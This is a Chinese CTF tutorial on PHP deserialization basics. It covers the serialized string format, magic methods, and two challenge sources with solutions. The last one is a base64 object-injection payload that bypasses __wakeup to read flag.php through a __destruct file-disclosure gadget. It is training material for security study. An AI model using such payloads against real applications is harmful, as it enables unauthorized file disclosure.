CTF竞赛 | PHP反序列化基础

<?php      
class test{             
  private $flag = "flag{this-is-flag}";             
  public $a = "snail";             
  static  $b = "beta";         
}     

$test = new test;     //建立一个test的对象；
$data = serialize($test);   //将对象进行序列化；
echo $data; 
?>

O：#指Object(对象)
4：#代表对象的名称有4个字符，如test包含4个字符；
test：#表示test对象；
2：#表示2个属性值；
s：#表示字符串；
10：#表示属性名长度；
testflag:      #表示属性名；
s:18:"flag(this-is-flag)"     #字符串，属性值长度，属性值；

<?php      
class test{             
  private $flag = "flag{this-is-flag}";             
  public $a = "snail";             
  static $b = "beta";         
}     
$test = new test;  //建立一个test的对象；    
$data = serialize($test);   //将对象进行序列化；    
$undata = unserialize($data);     
var_dump($undata); 
?>

 __construct()       #当一个对象创建时触发    
 __destruct()        #当一个对象被销毁时触发     
 __toString()        #把类当作字符串使用时触发     
 __call()            #在对象上下文中调用不可访问的方法时触发     
 __callStatic()      #在静态上下文中调用不可访问的方法时触发     
 __get()             #用于从不可访问的属性读取数据时     
 __set()             #用于将数据写入不可访问的属性     
 __wakeup()          #使用unserialize时触发 ，unserialize() 会检查是否存在一个 __wakeup() 方法。
 __sleep()           #使用serialize时触发，serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。  
 __isset()           #在不可访问的属性上调用isset()或empty()触发     
 __unset()           #在不可访问的属性上使用unset()时触发     
 __invoke()          #当脚本尝试将对象调用为函数时触发     
 __autoload()        #尝试加载未定义的类时触发     
 __clone()           #当对象复制完成时触发

<?php 
error_reporting(0); 
include "flag.php"; 
$KEY = "D0g3!!!"; 
$str = $_GET['str']; 
if (unserialize($str) === "$KEY") {         
echo "$flag"; 
} 
show_source(__FILE__);

<?php      
class test{                        
  protected $a = "D0g3!!!";                  
}    
$test = new test;     //建立一个test的对象；
$data = serialize($test);   //将对象进行序列化；
echo $data; 
?>

<?php    
class SoFun{    
  protected $file='index.php';   
  function __destruct(){      
    if(!empty($this->file)) {       
    if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)         
    show_source(dirname (__FILE__).'/'.$this ->file);       
  else         
  die('Wrong filename.');     
  }   
  }     
  function __wakeup(){    
  $this-> file='index.php';   
  }    
  public function __toString() { return '' ; 
  }   
}      
if (!isset($_GET['file'])){    
show_source('index.php'); 
} 
else{    
$file=base64_decode($_GET['file']); 
echo $file;   
echo unserialize($file); }  #<!--key in flag.php-->

<?php      
class SoFun{                        
    protected $file = "flag.php";                 
}    
$test = new SoFun;     //建立一个test的对象；     
$data = serialize($test);   //将对象进行序列化；     
echo $data; 
?>

payload: Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==